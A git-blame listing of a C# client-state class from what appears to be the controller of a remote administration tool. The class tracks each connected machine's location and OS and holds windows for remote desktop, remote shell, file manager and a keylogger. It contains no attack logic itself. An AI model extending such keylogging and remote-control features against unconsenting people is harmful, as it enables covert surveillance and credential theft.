2014-07-08 12:58:53 +00:00
|
|
|
|
using System.Drawing;
|
2015-03-31 18:38:16 +00:00
|
|
|
|
using xServer.Core.Helper;
|
2015-01-13 18:29:11 +00:00
|
|
|
|
using xServer.Forms;
|
2014-07-08 12:58:53 +00:00
|
|
|
|
|
2015-01-13 18:29:11 +00:00
|
|
|
|
namespace xServer.Core
|
2014-07-08 12:58:53 +00:00
|
|
|
|
{
|
|
|
|
|
public class UserState
|
|
|
|
|
{
|
|
|
|
|
public string Version { get; set; }
|
|
|
|
|
public string OperatingSystem { get; set; }
|
|
|
|
|
public string AccountType { get; set; }
|
|
|
|
|
public string Country { get; set; }
|
|
|
|
|
public string CountryCode { get; set; }
|
|
|
|
|
public string Region { get; set; }
|
|
|
|
|
public string City { get; set; }
|
2015-03-20 13:45:58 +00:00
|
|
|
|
public string Id { get; set; }
|
2014-07-08 12:58:53 +00:00
|
|
|
|
|
2015-01-27 22:47:13 +00:00
|
|
|
|
public FrmRemoteDesktop FrmRdp { get; set; }
|
|
|
|
|
public FrmTaskManager FrmTm { get; set; }
|
|
|
|
|
public FrmFileManager FrmFm { get; set; }
|
|
|
|
|
public FrmSystemInformation FrmSi { get; set; }
|
|
|
|
|
public FrmShowMessagebox FrmSm { get; set; }
|
|
|
|
|
public FrmRemoteShell FrmRs { get; set; }
|
2015-02-24 11:13:04 +00:00
|
|
|
|
public FrmStartupManager FrmStm { get; set; }
|
2015-04-22 19:39:52 +00:00
|
|
|
|
public FrmKeylogger FrmKl { get; set; }
|
2014-07-08 12:58:53 +00:00
|
|
|
|
|
2015-01-27 22:47:13 +00:00
|
|
|
|
public bool IsAuthenticated { get; set; }
|
|
|
|
|
public bool LastDesktopSeen { get; set; }
|
|
|
|
|
public bool LastDirectorySeen { get; set; }
|
2015-04-06 17:20:00 +00:00
|
|
|
|
public int LastQuality { get; set; }
|
2015-04-13 07:16:44 +00:00
|
|
|
|
public int LastMonitor { get; set; }
|
2015-01-27 22:47:13 +00:00
|
|
|
|
public Bitmap LastDesktop { get; set; }
|
2015-03-31 18:38:16 +00:00
|
|
|
|
public UnsafeStreamCodec StreamCodec { get; set; }
|
|
|
|
|
|
2014-07-08 12:58:53 +00:00
|
|
|
|
public UserState()
|
|
|
|
|
{
|
2015-01-27 22:47:13 +00:00
|
|
|
|
IsAuthenticated = false;
|
|
|
|
|
LastDesktopSeen = true;
|
|
|
|
|
LastDirectorySeen = true;
|
2015-04-06 17:20:00 +00:00
|
|
|
|
LastQuality = -1;
|
2015-04-13 07:16:44 +00:00
|
|
|
|
LastMonitor = -1;
|
2014-07-08 12:58:53 +00:00
|
|
|
|
}
|
2015-04-04 21:48:47 +00:00
|
|
|
|
|
|
|
|
|
public void DisposeForms()
|
|
|
|
|
{
|
|
|
|
|
if (FrmRdp != null)
|
|
|
|
|
FrmRdp.Close();
|
|
|
|
|
if (FrmTm != null)
|
|
|
|
|
FrmTm.Close();
|
|
|
|
|
if (FrmFm != null)
|
|
|
|
|
FrmFm.Close();
|
|
|
|
|
if (FrmSi != null)
|
|
|
|
|
FrmSi.Close();
|
|
|
|
|
if (FrmSm != null)
|
|
|
|
|
FrmSm.Close();
|
|
|
|
|
if (FrmRs != null)
|
|
|
|
|
FrmRs.Close();
|
|
|
|
|
if (FrmStm != null)
|
|
|
|
|
FrmStm.Close();
|
2015-04-22 19:39:52 +00:00
|
|
|
|
if (FrmKl != null)
|
|
|
|
|
FrmKl.Close();
|
2015-04-04 21:48:47 +00:00
|
|
|
|
}
|
2014-07-08 12:58:53 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
}
|